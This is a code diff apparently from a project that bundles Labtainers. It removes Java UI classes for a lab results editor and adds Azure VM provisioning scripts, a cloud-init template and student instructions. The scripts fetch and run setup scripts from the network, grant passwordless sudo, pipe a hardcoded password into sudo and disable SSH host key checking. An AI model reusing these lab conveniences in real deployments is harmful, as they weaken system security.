for(int i=0; i < dataUI.listofArtifacts.size(); i++){ - loadArtifact(dataUI.listofArtifacts.get(i), i+1); - } - } - - //Removes all the artifact lines for the lab *note: this doesn't update results.config or the resultsData until the user hits the update button - private void removeAllArtifacts(){ - Component[] componentList = PanelofArtifacts.getComponents(); - for(Component c: componentList) - PanelofArtifacts.remove(c); - - PanelofArtifacts.revalidate(); - PanelofArtifacts.repaint(); - } - - //Load's the artifactlinePanel into GUI - private void loadArtifact(ArtifactValues artifactVal, int rowNum){ - ArtifactPanels newArtifact = new ArtifactPanels(this, dataUI.containerList, rowNum, - artifactVal.resultTag, - artifactVal.container, - artifactVal.fileID, - artifactVal.fieldType, - artifactVal.fieldID, - artifactVal.lineType, - artifactVal.lineID, - artifactVal.timeStampType, - artifactVal.timeStampDelimiter); - PanelofArtifacts.add(newArtifact); - PanelofArtifacts.revalidate(); - PanelofArtifacts.repaint(); - } - - //Gets the labname - private String getLabName(){ - return LabNameTextField.getText(); - } - - //Gets the panel holding the artifacts - protected JPanel getPanelofArtifacts(){ - return PanelofArtifacts; - } - - public static void main(String args[]) { - /* Set the Nimbus look and feel */ - // - /* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel. - * For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html - */ - try { - for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) { - if ("Nimbus".equals(info.getName())) { - javax.swing.UIManager.setLookAndFeel(info.getClassName()); - break; - } - } - } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | javax.swing.UnsupportedLookAndFeelException ex) { - java.util.logging.Logger.getLogger(ResultsUI.class.getName()).log(java.util.logging.Level.SEVERE, null, ex); - } - // - // - // - // - - // - - /* Create and display the form */ - java.awt.EventQueue.invokeLater(() -> { - ResultsUI newResultsUI = new ResultsUI(); - newResultsUI.setSize(1005, 1000); - newResultsUI.setVisible(true); - }); - } - - - // Variables declaration - do not modify//GEN-BEGIN:variables - private javax.swing.JButton CreateButton; - private javax.swing.JTextField LabNameTextField; - private javax.swing.JLabel LabNotExist; - private javax.swing.JPanel PanelofArtifacts; - private javax.swing.JButton RemoveAllButton; - private javax.swing.JScrollPane ScrollPaneOfArtifacts; - private javax.swing.JButton UpdateButton; - private javax.swing.JLabel jLabel1; - private javax.swing.JLabel jLabel2; - private javax.swing.JLabel jLabel3; - private javax.swing.JLabel jLabel5; - private javax.swing.JLabel jLabel9; - // End of variables declaration//GEN-END:variables -} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ToolTipHandlers.java b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ToolTipHandlers.java deleted file mode 100644 index a7990d374..000000000 --- a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/Results/src/ResultsUI/ToolTipHandlers.java +++ /dev/null @@ -1,73 +0,0 @@ -/* - * To change this license header, choose License Headers in Project Properties. - * To change this template file, choose Tools | Templates - * and open the template in the editor. - */ -package ResultsUI; - -import java.awt.Component; -import javax.swing.DefaultListCellRenderer; -import javax.swing.JComboBox; -import javax.swing.JComponent; -import javax.swing.JList; - -/** - * - * @author Dan - */ -public class ToolTipHandlers { - public static interface ToolTipProvider{ - public String getToolTip(); - } - - //Stores an item and its correspoinding tool tip. (Items put into a combobox) - public static class ToolTipWrapper implements ToolTipProvider{ - final String item; - final String toolTip; - - public ToolTipWrapper(String item, String toolTip){ - this.item = item; - this.toolTip = toolTip; - } - - @Override - public String getToolTip(){ - return toolTip; - } - - @Override - public String toString(){ - return item; - } - - public String getItem(){ - return item; - } - } - - //custom combobox renderer to handle ToolTipWrapper objects that contain an string item and string tool tip - public static class ComboBoxRenderer extends DefaultListCellRenderer { - - @Override - public Component getListCellRendererComponent(JList list, Object value, int index, boolean isSelected, boolean cellHasFocus) { - JComponent component = (JComponent) super.getListCellRendererComponent(list, value, index, isSelected, cellHasFocus); - String tip = null; - if (value instanceof ToolTipProvider) { - ToolTipProvider ttp = (ToolTipProvider) value; - tip = ttp.getToolTip(); - } - list.setToolTipText(tip); - return component; - } - } - - //Sets the combo items with associated tool tips (called in the constructors) - public static void setComboItems(JComboBox combobox, ToolTipWrapper[] items){ - ComboBoxRenderer renderer = new ComboBoxRenderer(); - combobox.setRenderer(renderer); - - for (ToolTipWrapper item : items) { - combobox.addItem(item); - } - } -} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/bin/buildUI2.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/bin/buildUI2.sh new file mode 100755 index 000000000..0ec757e56 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/bin/buildUI2.sh @@ -0,0 +1,10 @@ +#!/bin/bash +# +# Rebuild the Labtianers Lab Editor UI +# Use -n to supress running the UI after rebuild. +# +/usr/bin/javac ../MainUI/src/main/java/labtainers/goalsui/*.java ../MainUI/src/main/java/labtainers/resultsui/*.java ../MainUI/src/main/java/labtainers/paramsui/*.java ../MainUI/src/main/java/labtainers/mainui/*.java -d . -Xlint:unchecked || exit +jar cmf mainUI.mf ./MainUI.jar labtainers/mainui/*.class labtainers/goalsui/*.class labtainers/resultsui/*.class labtainers/paramsui/*.class ../MainUI/src/main/resources/* || exit +if [[ "$1" != "-n" ]]; then + /usr/bin/java -jar MainUI.jar +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/bin/mainUI.ini.backup b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/bin/mainUI.ini.backup new file mode 100644 index 000000000..969417969 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/bin/mainUI.ini.backup @@ -0,0 +1,3 @@ +labtainerPath= +prevLab= +textEditor= diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/UI/bin/mainUI.mf b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/bin/mainUI.mf new file mode 100644 index 000000000..384cf2bbc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/UI/bin/mainUI.mf @@ -0,0 +1,2 @@ +Manifest-Version: 1.0 +Main-Class: labtainers/mainui/MainWindow diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/README-DEV.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/README-DEV.txt new file mode 100644 index 000000000..901216eae --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/README-DEV.txt @@ -0,0 +1,12 @@ +README for creating Azure Labtainer VHD image and storing in Azure blob storage for use by Labtainers VMs + +Use the base_create_vm.sh script to create a base VM, provide the user name "base" + +Use generalize.sh to generalize and stop the VM + +Delete the existing blob if it exists with delete_blob.sh +Copy the base disk image to the blob using copy_to_blob.sh (after sourcing account_env.sh) +Remove the vm using delete_vm.sh + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/README.txt new file mode 100644 index 000000000..b5b8e812a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/README.txt @@ -0,0 +1,82 @@ +Create a Labtainers VM within Azure, assuming the user +has an Azure account. Note that Azure Student accounts +(https://azure.microsoft.com/en-us/free/students/) are not +recommended for use at this time because they are subject to +unpredictable resource limitations. + + +This requires that the Azure CLI be installed on the Mac, Windows or Linux: + https://docs.microsoft.com/en-us/cli/azure/install-azure-cli + +Then open a terminal on Mac/Linux, or a PowerShell window on Windows. +Install the local scripts by getting this script (make it executable on Mac or Linux): + https://raw.githubusercontent.com/mfthomps/Labtainers/master/azure/install_labtainers.sh +Or on Windows: + https://raw.githubusercontent.com/mfthomps/Labtainers/master/azure/install_labtainers.ps1 + +On Mac or Linux: + curl -L https://raw.githubusercontent.com/mfthomps/Labtainers/master/azure/install_labtainers.sh --output install_labtainers.sh + chmod a+x install_labtainers.sh (only on Linux or Mac) +On Windows: + wget https://raw.githubusercontent.com/mfthomps/Labtainers/master/azure/install_labtainers.sh -OutFile install_labtainers.ps1 + +And then run it (Mac/Linux). + ./install_labtainers.sh +Windows: + ./install_labtainers.ps1 + +That will create a ~/labtainers_azure directory. + +Change to the ~/labtainers_azure directory + cd ~/labtainers_azure + +Log into your Azure account: + az login +NOTE: If your account has access to more than one Azure Subscription, you need to change these parameters to +specify the student subscription before running the install_labtainers script: + 1. Change the ~/.azure/clouds.config to show your student subscription number + 2. Change the entries in ~/.azureProfile.json so that only your student subscription shows + “isDefaultâ€= true, the rest being set to ‘false’. + +In the following command examples, use "ps1" instead of "sh" when using PowerShell. + +Once logged into Azure, run the create_vm.sh (or create_vm.ps1 for windows) script, passing in a user ID. +The ID can be any name, e.g., + ./create_vm.sh myname + +The create_vm script may take a while to run. The process is complete when you see “Labtainers is up. +Point a local browser to localhost:6901†and perform the labs. +When prompted for a password in the browser, just click submit or OK, i.e., leave the password blank. +The password for the labtainer user in the VM is labtainer. + +When done with labs, run the get_results.sh (or get_results.ps1) script: + ./get_results.sh +This will store your Labtainer results in ~/labtainer_xfer. Provide those +results to your instructor. + +If you become unable to reach the Labtainers via your browser, e.g., after +shutting down your computer, simple use the restart.sh script: + ./restart.sh + +The create_vm.sh script will create an SSH key pair named id_labtainers within your ~/.ssh directory. +The private key in id_labtainers is not passphrase protected, so you must protect it. +You may move the keys to a different computer and access your Labtainers from that computer's +browser. You must first run the install_labtainers.sh script on that computer, and then run +the restart.sh script. + +When done with a lab, use + ./deallocate_vm +to stop incurring most charges. Note however that any work you've performed on the Labtainers +might be lost (unless you've retrieved your results with get_results.sh), depending on how +long the VM is dormant. + +To restore a VM after you deallocated it, use: + ./restore_vm.sh + +When completely done with the VM, use the delete_vm.sh script to stop incurring all charges: + ./delete_vm.sh + +Shutting down the VM without deallocating or deleting it will not stop charges. + +Questions? mfthomps at nps.edu + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/account_env.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/account_env.sh new file mode 100644 index 000000000..8494313d2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/account_env.sh @@ -0,0 +1,5 @@ +# +# source this, passing in the key +# +export AZURE_STORAGE_ACCOUNT=labtainersblob +export AZURE_STORAGE_KEY=$1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/base_create_vm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/base_create_vm.sh new file mode 100755 index 000000000..7f7622671 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/base_create_vm.sh @@ -0,0 +1,34 @@ +#!/bin/bash +# +# Create base Labtainers VM in Azure and provision it. +# Assumes you have an Azure account and the CLI installed. +# This base is intended to be generalized and used as an image for an Azure +# community gallery. +# +# This will create an ssh key pair and use it when creating the VM +# +if [ "$#" -ne 1 ]; then + echo "create_vm.sh " + exit +fi +user_id=$1 +vm_name=$user_id-labtainervm +rm -f ~/.ssh/id_labtainers* +ssh-keygen -b 2048 -t rsa -f ~/.ssh/id_labtainers -q -N "" +key=$(cat ~/.ssh/id_labtainers.pub) +echo "key generated" +cp cloud_init.template cloud_init.txt +./resourcecheck.sh || exit 1 +echo "Creating Azure VM $vm_name for $user_id" +az vm create \ + --public-ip-sku Standard \ + --resource-group labtainerResources \ + --name $vm_name \ + --image UbuntuLTS \ + --admin-username labtainer \ + --nic-delete-option delete \ + --generate-ssh-keys \ + --ssh-key-values ~/.ssh/id_labtainers.pub \ + --custom-data cloud_init.txt > $user_id.json + +./waitdone2.sh $user_id diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/checktunnel.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/checktunnel.ps1 new file mode 100644 index 000000000..155cf8172 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/checktunnel.ps1 @@ -0,0 +1,23 @@ +If ($args.Count -ne 1){ + echo "checktunnel.ps1 " + exit +} +$user=$args[0] +$suffix = "-labtainervm" +$vm=$user+$suffix +echo "get the IP for $vm" +$ip=./getip.ps1 labtainerResources $vm +echo "getipi got $ip" + +if ($ip -eq "FAIL"){ + echo "Failed to get ip of $vm" + exit 1 +} +$result=netstat -an | findstr 6901 +If ($result -eq $null){ + echo "No tunnel, create one." + $fname=$HOME+"\.ssh\id_labtainers" + ./dotunnel.bat $fname $ip +}else{ + echo "Proper tunnel already exists." +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/checktunnel.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/checktunnel.sh new file mode 100755 index 000000000..afd2a8d0e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/checktunnel.sh @@ -0,0 +1,35 @@ +#!/bin/bash +echo "in checktunnel" +if [ "$#" -ne 1 ]; then + echo "checktunnel.sh " + exit +fi +user=$1 +vm=$user-labtainervm +echo "get the IP" +ip=$(./getip.sh labtainerResources $vm) +if [[ $ip == "FAIL" ]]; then + echo "Failed to get ip of $vm" + exit 1 +fi +result=$(ps aux | grep ssh | grep 6901) +if [ -z "${result}" ]; then + echo "No tunnel, create one." + ssh -AfN -L 6901:127.0.0.1:6901 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -o "ServerAliveInterval 60" -i "~/.ssh/id_labtainers" labtainer@$ip + RESULT=$? + if [ $RESULT -ne 0 ]; then + echo "try again to create tunnel" + sleep 5 + ssh -AfN -L 6901:127.0.0.1:6901 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -o "ServerAliveInterval 60" -i "~/.ssh/id_labtainers" labtainer@$ip + fi +else + if [[ "$result" == *"$ip"* ]]; then + echo "Proper tunnel already exists." + echo $result + else + echo "Tunnel exists but has has wrong IP" + kill $(echo $result | awk '{print $2}') + ssh -AfN -L 6901:127.0.0.1:6901 -oStrictHostKeyChecking=no -oUserKnownHostsFile=/dev/null -o "ServerAliveInterval 60" -i "~/.ssh/id_labtainers" labtainer@$ip + fi +fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/cloud_init.template b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/cloud_init.template new file mode 100644 index 000000000..1068bc9d5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/cloud_init.template @@ -0,0 +1,67 @@ +#cloud-config +# +# Cloud Config file for Headless Labtainers. Provisions docker, docker-compose and headless labtainers +# +# + +system_info: + default_user: + name: labtainer + sudo: ALL=(ALL) NOPASSWD:ALL + +packages: + - net-tools + +write_files: +- content: | +- content: | + [Unit] + Description=Headless Labtainers + + [Service] + Type=simple + WorkingDirectory=/home/labtainer/headless-labtainers + User=labtainer + ExecStart=/home/labtainer/headless-labtainers/headless-labtainers.sh + + [Install] + WantedBy=multi-user.target + Alias=headless-labtainers.service + path: /etc/systemd/system/headless-labtainers.service + +runcmd: +- apt install -y apt-transport-https ca-certificates curl software-properties-common +- curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - +- add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable" +- apt update +- cache policy docker-ce +- apt install -y docker-ce +- curl -L https://github.com/docker/compose/releases/download/1.21.2/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose +- chmod +x /usr/local/bin/docker-compose + +- usermod -aG docker labtainer +- usermod -aG sudo labtainer +- usermod -aG docker ubuntu + +- mkdir /home/labtainer/headless-labtainers +- chown labtainer:labtainer /home/labtainer/headless-labtainers +- wget -P /home/labtainer/headless-labtainers https://raw.githubusercontent.com/mfthomps/Labtainers/master/headless-lite/headless-labtainers.sh +- chmod a+x /home/labtainer/headless-labtainers/headless-labtainers.sh +- systemctl enable headless-labtainers.service +- docker pull labtainers/labtainer.master.headless +- docker pull labtainers/labtainer.base +- docker pull labtainers/labtainer.network +- docker pull labtainers/labtainer.firefox +- docker pull labtainers/labtainer.wireshark +- docker pull labtainers/labtainer.java +- docker pull labtainers/labtainer.centos +- docker pull labtainers/labtainer.lamp +- docker pull labtainers/labtainer.netmon +- docker pull labtainers/labtainer.tap +- docker pull labtainers/labtainer.base2 +- docker pull labtainers/labtainer.network2 +- docker pull labtainers/labtainer.wireshark2 +- docker pull labtainers/labtainer.network.ssh2 + +power_state: + mode: reboot diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/cloud_init.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/cloud_init.txt new file mode 100644 index 000000000..1068bc9d5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/cloud_init.txt @@ -0,0 +1,67 @@ +#cloud-config +# +# Cloud Config file for Headless Labtainers. Provisions docker, docker-compose and headless labtainers +# +# + +system_info: + default_user: + name: labtainer + sudo: ALL=(ALL) NOPASSWD:ALL + +packages: + - net-tools + +write_files: +- content: | +- content: | + [Unit] + Description=Headless Labtainers + + [Service] + Type=simple + WorkingDirectory=/home/labtainer/headless-labtainers + User=labtainer + ExecStart=/home/labtainer/headless-labtainers/headless-labtainers.sh + + [Install] + WantedBy=multi-user.target + Alias=headless-labtainers.service + path: /etc/systemd/system/headless-labtainers.service + +runcmd: +- apt install -y apt-transport-https ca-certificates curl software-properties-common +- curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add - +- add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable" +- apt update +- cache policy docker-ce +- apt install -y docker-ce +- curl -L https://github.com/docker/compose/releases/download/1.21.2/docker-compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose +- chmod +x /usr/local/bin/docker-compose + +- usermod -aG docker labtainer +- usermod -aG sudo labtainer +- usermod -aG docker ubuntu + +- mkdir /home/labtainer/headless-labtainers +- chown labtainer:labtainer /home/labtainer/headless-labtainers +- wget -P /home/labtainer/headless-labtainers https://raw.githubusercontent.com/mfthomps/Labtainers/master/headless-lite/headless-labtainers.sh +- chmod a+x /home/labtainer/headless-labtainers/headless-labtainers.sh +- systemctl enable headless-labtainers.service +- docker pull labtainers/labtainer.master.headless +- docker pull labtainers/labtainer.base +- docker pull labtainers/labtainer.network +- docker pull labtainers/labtainer.firefox +- docker pull labtainers/labtainer.wireshark +- docker pull labtainers/labtainer.java +- docker pull labtainers/labtainer.centos +- docker pull labtainers/labtainer.lamp +- docker pull labtainers/labtainer.netmon +- docker pull labtainers/labtainer.tap +- docker pull labtainers/labtainer.base2 +- docker pull labtainers/labtainer.network2 +- docker pull labtainers/labtainer.wireshark2 +- docker pull labtainers/labtainer.network.ssh2 + +power_state: + mode: reboot diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/copy_to_blob.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/copy_to_blob.sh new file mode 100755 index 000000000..a6e86f62a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/copy_to_blob.sh @@ -0,0 +1,39 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "copy_to_blob.sh " + exit +fi +user=$1 +# +# Assumes AZURE account env variables set using account_env.sh +# +#Provide the name of your resource group where managed disk is created +resourceGroupName=labtainerResources + +#Provide the managed disk name +# source name from snapshot +#diskName=base-labtainervm_OsDisk_1_462b1f978221433e86c2e82b98d1a076 +diskName=$(./get_disk_id.sh $user) + +#Provide Shared Access Signature (SAS) expiry duration in seconds e.g. 3600. +#Know more about SAS here: https://docs.microsoft.com/en-us/azure/storage/storage-dotnet-shared-access-signature-part-1 +sasExpiryDuration=3600 + +#Provide storage account name where you want to copy the underlying VHD file of the managed disk. +storageAccountName=labtainersblob + +#Name of the storage container where the downloaded VHD will be stored +storageContainerName=labtainersblobcontainer + + +#Provide the name of the destination VHD file to which the VHD of the managed disk will be copied. +destinationVHDFileName=labtainersbase.vhd + +#Generate the SAS for the managed disk +sas=$(az disk grant-access --resource-group $resourceGroupName --name $diskName --duration-in-seconds $sasExpiryDuration --query [accessSas] -o tsv) + +#Copy the VHD of the managed disk to the storage account +az storage blob copy start --destination-blob $destinationVHDFileName --destination-container $storageContainerName --source-uri $sas + +# check copy status +az storage blob show -n $destinationVHDFileName -c $storageContainerName diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_disk.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_disk.ps1 new file mode 100755 index 000000000..af343fa72 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_disk.ps1 @@ -0,0 +1,6 @@ +If ($args.Count -ne 1){ + echo "create_disk.ps1 " + exit +} +$disk=$args[0] +az disk create -g labtainerResources -n $disk --source https://labtainersblob.blob.core.windows.net/labtainersblobcontainer/labtainersbase.vhd --output none diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_disk.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_disk.sh new file mode 100755 index 000000000..826946b21 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_disk.sh @@ -0,0 +1,7 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "create_disk.sh " + exit +fi +disk=$1 +az disk create -g labtainerResources -n $disk --source https://labtainersblob.blob.core.windows.net/labtainersblobcontainer/labtainersbase.vhd --output none diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_gallery.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_gallery.sh new file mode 100755 index 000000000..f159b7a7c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_gallery.sh @@ -0,0 +1,18 @@ +location=westus +galleryName=labtainersGallery +resourceGroup=labtainersGalleryResources +publisherUri=https://github.com/mfthomps/Labtainers +publisherEmail=mfthomps@nps.edu +prefix=LabtainersImages +eulaLink=https://github.com/mfthomps/Labtainers + +az group create --name $resourceGroup --location $location + +az sig create \ + --gallery-name $galleryName \ + --permissions community \ + --resource-group $resourceGroup \ + --publisher-uri $publisherUri \ + --publisher-email $publisherEmail \ + --eula $eulaLink \ + --public-name-prefix $prefix diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_vm.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_vm.ps1 new file mode 100644 index 000000000..3fc66469d --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_vm.ps1 @@ -0,0 +1,32 @@ +# +# Create an Azure VM for a student, assuming the user has +# an Azure account and the CLI installed. +# +# This will create an ssh key pair and use it when creating the VM +# +If ($args.Count -ne 1){ + echo "checktunnel.sh " + exit +} +$ErrorActionPreference = "Stop" +$user_id=$args[0] +$vm_name=$user_id+"-labtainervm" +Remove-Item $HOME/.ssh/id_labtainers* +ssh-keygen -b 2048 -t rsa -f $HOME/.ssh/id_labtainers -q -N '""' +echo "key generated" +copy cloud_init.template cloud_init.txt +./resourcecheck.ps1 +echo "Creating Azure VM $vm_name for $user_id" +az vm create ` + --public-ip-sku Standard ` + --resource-group labtainerResources ` + --name $vm_name ` + --image UbuntuLTS ` + --admin-username labtainer ` + --nic-delete-option delete ` + --generate-ssh-keys ` + --ssh-key-values ~/.ssh/id_labtainers.pub ` + --custom-data cloud_init.txt > $user_id.json + +./waitdone.ps1 $user_id + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_vm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_vm.sh new file mode 100755 index 000000000..ac7b739e8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/create_vm.sh @@ -0,0 +1,33 @@ +#!/bin/bash +# +# Create an Azure VM for a student, assuming the user has +# an Azure account and the CLI installed. +# +# This will create an ssh key pair and use it when creating the VM +# +if [ "$#" -ne 1 ]; then + echo "create_vm.sh " + exit +fi +user_id=$1 +vm_name=$user_id-labtainervm +rm -f ~/.ssh/id_labtainers* +ssh-keygen -b 2048 -t rsa -f ~/.ssh/id_labtainers -q -N "" +key=$(cat ~/.ssh/id_labtainers.pub) +echo "key generated" +cp cloud_init.template cloud_init.txt +./resourcecheck.sh || exit 1 +imgdef="/CommunityGalleries/LabtainersImages-fb345820-6f7a-4fbf-b106-7d50e3b601f2/Images/labtainersImageDefinition/Versions/latest" +echo "Creating Azure VM $vm_name for $user_id" +az vm create \ + --resource-group labtainerResources \ + --name $vm_name \ + --image $imgdef \ + --size Standard_B2s \ + --admin-username labtainer \ + --generate-ssh-keys \ + --verbose \ + --accept-term \ + --ssh-key-values ~/.ssh/id_labtainers.pub + +./waitdone.sh $user_id diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/deallocate_vm.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/deallocate_vm.ps1 new file mode 100644 index 000000000..98a9d2708 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/deallocate_vm.ps1 @@ -0,0 +1,8 @@ +If ($args.Count -ne 1){ + echo "deallocate_vm.ps1 " + exit +} +$user=$args[0] +$vm=$user+"-labtainervm" +az vm deallocate -g labtainerResources -n $vm +echo "VM $vm has been deallocated" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/deallocate_vm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/deallocate_vm.sh new file mode 100755 index 000000000..a4d31b580 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/deallocate_vm.sh @@ -0,0 +1,10 @@ +#!/bin/bash +echo "in deallocate_vm" +if [ "$#" -ne 1 ]; then + echo "deallocate_vm.sh " + exit +fi +user=$1 +vm=$user-labtainervm +az vm deallocate -g labtainerResources -n $vm +echo "VM $vm has been deallocated" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_all.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_all.sh new file mode 100755 index 000000000..29b8b1f5e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_all.sh @@ -0,0 +1 @@ +az vm delete --yes --ids $(az vm list -g labtainerResources --query "[].id" -o tsv) diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_blob.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_blob.sh new file mode 100755 index 000000000..c35d999a6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_blob.sh @@ -0,0 +1,7 @@ + +storageAccountName=labtainersblob + +#Name of the storage container where the downloaded VHD will be stored +storageContainerName=labtainersblobcontainer +destinationVHDFileName=labtainersbase.vhd +az storage blob delete -c $storageContainerName -n $destinationVHDFileName diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_disk.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_disk.ps1 new file mode 100755 index 000000000..f3caab728 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_disk.ps1 @@ -0,0 +1,8 @@ +If ($args.Count -ne 1){ + echo "delete_disk.ps1 " + exit +} +$ErrorActionPreference = "Stop" +$user_id=$args[0] +$disk=$user_id+"-labtainervm-disk" +az disk delete --yes -g labtainerResources -n $disk diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_disk.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_disk.sh new file mode 100755 index 000000000..d7a4b85f5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_disk.sh @@ -0,0 +1,8 @@ +#!/bin/bash +if [ "$#" -ne 1 ]; then + echo "delete_disk.sh " + exit +fi +user_id=$1 +disk=$user_id-labtainervm-disk +az disk delete --yes -g labtainerResources -n $disk diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_resource_goup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_resource_goup.sh new file mode 100644 index 000000000..510e2cc70 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_resource_goup.sh @@ -0,0 +1 @@ +az group delete --name labtainerResources diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_vm.ps1 b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_vm.ps1 new file mode 100644 index 000000000..ce33ee5bb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_vm.ps1 @@ -0,0 +1,9 @@ +If ($args.Count -ne 1){ + echo "delete_vm.ps1 " + exit +} +$user=$args[0] +$vm=$user+"-labtainervm" +az vm delete --yes -g labtainerResources -n $vm +./delete_disk.sh $user +echo "VM $vm has been deleted" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_vm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_vm.sh new file mode 100755 index 000000000..a8b691405 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/delete_vm.sh @@ -0,0 +1,11 @@ +#!/bin/bash +echo "in delete_vm" +if [ "$#" -ne 1 ]; then + echo "delete_vm.sh " + exit +fi +user=$1 +vm=$user-labtainervm +az vm delete --yes -g labtainerResources -n $vm +./delete_disk.sh $user +echo "VM $vm has been deleted" diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/azure/do_newterm.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/do_newterm.sh new file mode 100755 index 000000000..00354987a --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/azure/do_newterm.sh @@ -0,0 +1,4 @@ +#!/bin/bash +con=$(echo labtainer | sudo -S docker ps | grep entry | awk '{print $1}') +echo "con is $con" +echo labtainer | sudo -S docker exec $con /bin/bash -c 'export LABTAINER_DIR=/home/labtainer/labtainer/trunk;/home/labtainer/.doterm.sh' diff 